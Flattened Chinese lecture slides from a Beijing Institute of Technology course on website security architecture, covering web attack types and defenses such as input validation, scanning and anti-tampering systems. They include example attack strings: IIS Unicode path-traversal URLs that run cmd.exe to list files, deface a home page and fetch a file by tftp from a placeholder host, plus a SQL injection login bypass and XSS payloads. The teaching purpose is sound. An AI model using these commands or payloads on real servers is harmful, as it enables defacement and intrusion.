您好,欢迎访问三七文档
当前位置:首页 > 商业/管理/HR > 信息化管理 > BIT7信息系统安全架构-网站安全架构
网站安全体系架构孙建伟北京理工大学软件学院提纲网站工作原理网站架构网站与浏览器的交互Web应用攻击网页篡改注入式攻击跨站攻击Web应用安全体系架构分析输入验证网站备份恢复架构立体防护体系Web应用程序的逻辑架构三层架构(3-tierapplication)通常意义上的三层架构就是将整个业务应用划分为:表现层(UI)、业务逻辑层(BLL)、数据访问层(DAL)。区分层次的目的即为了“高内聚,低耦合”的思想。1、表现层(UI):通俗讲就是展现给用户的界面,即用户在使用一个系统的时候他的所见所得。2、业务逻辑层(BLL):针对具体问题的操作,也可以说是对数据层的操作,对数据业务逻辑处理。3、数据访问层(DAL):该层所做事务直接操作数据库,针对数据的增、删、改、查。网站的层次结构操作系统:管理计算机平台资源Web服务器:解析HTTP请求,处理网页文件,执行动态脚本网站文件系统静态网页动态网页后台数据库4HTTP工作原理因特网HTTP使用此TCP连接浏览器程序服务器程序HTTP客户建立TCP连接释放TCP连接HTTP响应报文②响应文档HTTP请求报文①请求文档(1)浏览器分析超链指向页面的URL。(2)浏览器向DNS请求解析www.tsinghua.edu.cn的IP地址。(3)域名系统DNS解析出清华大学服务器的IP地址。(4)浏览器与服务器建立TCP连接(5)浏览器发出取文件命令:GET/chn/yxsz/index.htm。(6)服务器对此请求给出响应,把文件index.htm发给浏览器。(7)TCP连接释放。(8)浏览器显示文件index.htm中的所有文本。Web访问工作原理Web访问工作原理浏览器结构与远地服务器通信输出至显示器从鼠标和键盘输入网络接口可选客户程序HTML解释程序可选解释程序控制程序驱动程序……HTTP客户程序缓存9服务器端技术实现原理Web浏览器Web服务器HTTP请求HTTP响应本地磁盘获取请求页1.检查网页是否是动态网页2.如果是则运行其中的服务器端程序3.生成静态网页发送到客户端10网站成为网络攻击的焦点操作系统的复杂性已公布超过1万多个系统漏洞Web服务器的漏洞网站应用漏洞网站配置的问题网站系统设计缺乏安全性架构的支持网页的安全性设计不够注入式攻击多个应用系统不同的开发者,组织的缺陷10Web攻击事件-篡改网页11www.shijiazhuang.gov.cnWeb攻击事件-篡改数据12Web攻击事件-跨站攻击13www.icbc.com.cnWeb攻击事件-注入式攻击14Web攻击事件-非法上传15http://news.sohu.com/a.txt常见Web攻击类型威胁手段后果注入式攻击通过构造SQL语句对数据库进行非法查询黑客可以访问后端数据库,偷窃和修改数据跨站脚本攻击通过受害网站在客户端显不正当的内容和执行非法命令黑客可以对受害者客户端进行控制,盗窃用户信息上传假冒文件绕过管理员的限制上传任意类型的文件黑客可以篡改网页、图片和下载文件等不安全本地存储偷窃cookie和sessiontoken信息黑客获取用户关键资料,冒充用户身份非法执行脚本执行系统默认的脚本或自行上传的WebShell脚本等黑客完全控制服务器非法执行系统命令利用Web服务器漏洞上执行Shell命令Execute等黑客获得服务器信息源代码泄漏利用Web服务器漏洞或应用漏洞获得脚本源代码黑客分析源代码从而更有针对性的对网站攻击URL访问限制失效黑客可以访问非授权的资源连接黑客可以强行访问一些登陆网页、历史网页16攻击手段示例之一Unicode漏洞漏洞选介Unicode漏洞微软的IIS在Unicode字符解码的实现中存在一个安全漏洞,导致用户可以远程通过IIS执行任意命令可以复制、删除、列目录、系统配置等任何人利用普通浏览器即可发起攻击存在于WindowsNT/2000(IIS4.0/5.0)中2001年初发现,2001年8月修复18漏洞原理IIS对特殊字符URL请求的解码错误%c1%1c-(0xc1-0xc0)*0x40+0x1c=0x5c='/'%c0%2f-(0xc0-0xc0)*0x40+0x2f=0x2f='\'构造含有特殊字符的URL请求绕过IIS的路径检查可以执行或打开任意文件19测试方法测试URLhttp://badou/scripts/..%u00255c../winnt/system32/cmd.exe?/c+dir+d:\badou是任意一台(未打补丁的)Windows2000主机的IIS服务器返回结果目标主机D盘下的文件目录20利用漏洞列目录21利用漏洞进行攻击简单修改主页在首页内添加文字“导弹袭击”http://badou/scripts/..%u00255c../winnt/system32/cmd.exe?/c+echo+导弹袭击+c:\inetpub\wwwroot\default.htm上传非法页面用tftp工具将hack.htm上传到目标主机http://badou/scripts/..%u00255c../winnt/system32/cmd.exe?/c+tftp-iy.y.y.yGETc:\\inetpub\\wwwroot\\hack.htm22注入式攻击注入式攻击全称为“SQL注入式攻击”攻击者利用网站动态网页程序设计上的漏洞,在目标的Web服务器上运行SQL命令绕过登录身份检查、获得系统管理员密码、非法获取数据、非法篡改数据、生成非法文件、非法执行命令等24漏洞原理攻击者在表单输入或者URL请求中发送SQL语句片断,期望通过Web应用脚本合成为带有攻击目的的SQL语句应用脚本:ASP、JSP、PHP数据库:一切支持SQL的数据库系统SQL注入机理分析数据库应用程序服务器客户端(浏览器)请求响应查询结果集SQL注入机理分析(续)//构建SQL查询语句=“SELECTnameFROMtbUserInfoWHEREid=(用户输入的数据)”用户名:wc’or1=1--密码:xxxxSELECTnameFROMtbUserInfoWHEREid=’wc’or1=1--SQL注入攻击的一般过程探测注入点确定数据库类型和版本猜解数据库结构确定当前用户权限提取信息篡改数据…发起高级攻击使用特定存储过程遍历目录结构…修改注册码…SQL注入攻击的特点SQL注入是从正常的WWW端口(80端口)访问,表面看起来跟一般的web页面访问没什么区别SQL注入漏洞是一个入口,攻击者通过它可以发动更高级的攻击,例如控制目标系统。隐蔽性后果严重性使用黑客工具NBSIHDSIDomainX-ScanPangolin30攻击手段示例之三跨站攻击防跨站攻击示例应用系统未对浏览器输入的参数进行检查和处理,直接返回给用户的浏览器。Bank.com请输入转账金额:Bank.com转账成功!URL:http://www.bank.com/result.asp?info=转账成功!Bank.com银行破产!URL:http://www.bank.com/result.asp?info=银行破产!Xxx’sblog:bank.com宣布破产请点击官方链接10000确定1.正常业务2.跨站攻击跨站攻击还能做什么在客户端执行脚本JavaScriptVBScript偷取和仿冒用户身份和信息cookiesession向其他站点提交信息跳转到其他站点33对策配置和管理配置网络和主机编写安全的应用程序安全扫描模拟渗透工具代码复查工具安全防护网页完整性检查应用防火墙34对策一配置和管理应用程序安全设计原则权限区域划分使用最少的特权应用深入的防御手段不要信任用户的输入在网关处进行检查出现故障时的安全性保证最脆弱的链接的安全创建安全的默认值减小受攻击的范围36应用程序安全关注点“如何安全地处理异常?”“如何保证开发人员工作站的安全性?”“如何编写具有最低权限的代码?”“如何限制文件I/O?”“如何防止SQL注入?”“如何防止跨站点脚本编写?”“如何管理机密?”“如何安全调用非托管代码?”“如何执行托管代码的安全复查?”“如何执行安全的输入验证?”“如何保证窗体身份验证的安全性?”37防范注入式攻击检查用户输入关键字过滤强数据类型服务器端检查最小权限原则使用存储过程使用parameters对象控制错误信息回显38防范跨站攻击检查用户输入scriptalert('xss')/scriptimgsrc=javascript:alert(/xss/)imgsrc=javascript:alert(/xss/)imgsrc=javascript:alert(/xss/)imgsrc=#onerror=alert(/xss/)imgsrc=”javascriSS');”/检查请求头中的referer39对策二安全扫描应用安全扫描测试方法黑盒测试(渗透和黑客工具)白盒测试(代码和开发生命周期)产品AppScan(IBM)WebInspect(HP)N-Stalker(N-Stalker)Acunetix(Acunetix)MatriXay(亚龙安恒,dbappsecurity)WebRavor(安域领创,SecDomain)41对策三安全防护应用安全防护网页防篡改系统保护网页和脚本的完整性安全容忍类产品iGuard应用防火墙防止针对主机和应用程序的威胁安全防护类产品华诚ImpervaiWall43网页防篡改系统设计思路网站工作的流程Web服务器收听请求解析url查找url对应的网页文件对于静态网页文件,发送给客户端;对于动态网页文件,服务器端执行脚本,生成页面文件发送给客户端.网页防篡改系统设计思路网站备份恢复结构设计网站文件备份网站文件在处理前先做完整性校验通过Hook函数修改web服务器(IIS),扩展完整性校验功能校验不通过,则从备份系统中恢复造篡改的文件为加速完整性校验,采用数字摘要技术预先生成原始文件的摘要(数字水印)实时比对网页防篡改系统设计思路网站备份恢复结构处理流程Web服务器收听请求解析url查找url对应的网页文件读取网页文件后,做完整性校验校验不通过,则从备份中恢复对于静态网页文件,发送给客户端;对于动态网页文件,服务器端执行脚本,生成页面文件发送给客户端.Web核心内嵌模块47硬件平台(X86/sparc/ItaniumII/PowerPC/PA-RISC)操作系统(Windows/Linux/FreeBSD/Solaris/AIX/HP-UX)Web服务器软件(IIS/Apache/Weblogic/Websphere)安全核心内嵌模块requestresponse应用防护技术数字水印技术Web服务器防篡改技术48发布服务器Web服务器FTP/rsync一般发布过程篡改检测模块自动发布子系统监控和恢复子系统+篡改检测子系统SSL1.上传正常网页=X水印库2.浏览正常网页3.篡改网页4.浏览篡改网页5.自动恢复文件系统工作过程发布过程发布内嵌模块检测到文件创建/变化为文件产生加密和不可逆转数字水印通过加密通道传送到Web服务器检测过程公众发出请求浏览网页应用防护子系统检查请求的合法性页面保护子系统检查数字水印完整性其它网页篡改防护的技术路线外挂轮询制作网站备份定期抓取网页与相应的备份网页比对特点:可以是后台或前台无法做到实时恢复其它网页篡改防护的技术路线文件保护(事件触发)改造操作系统文件管理功能,监控和阻断文件写操作
本文标题:BIT7信息系统安全架构-网站安全架构
链接地址:https://www.777doc.com/doc-147 .html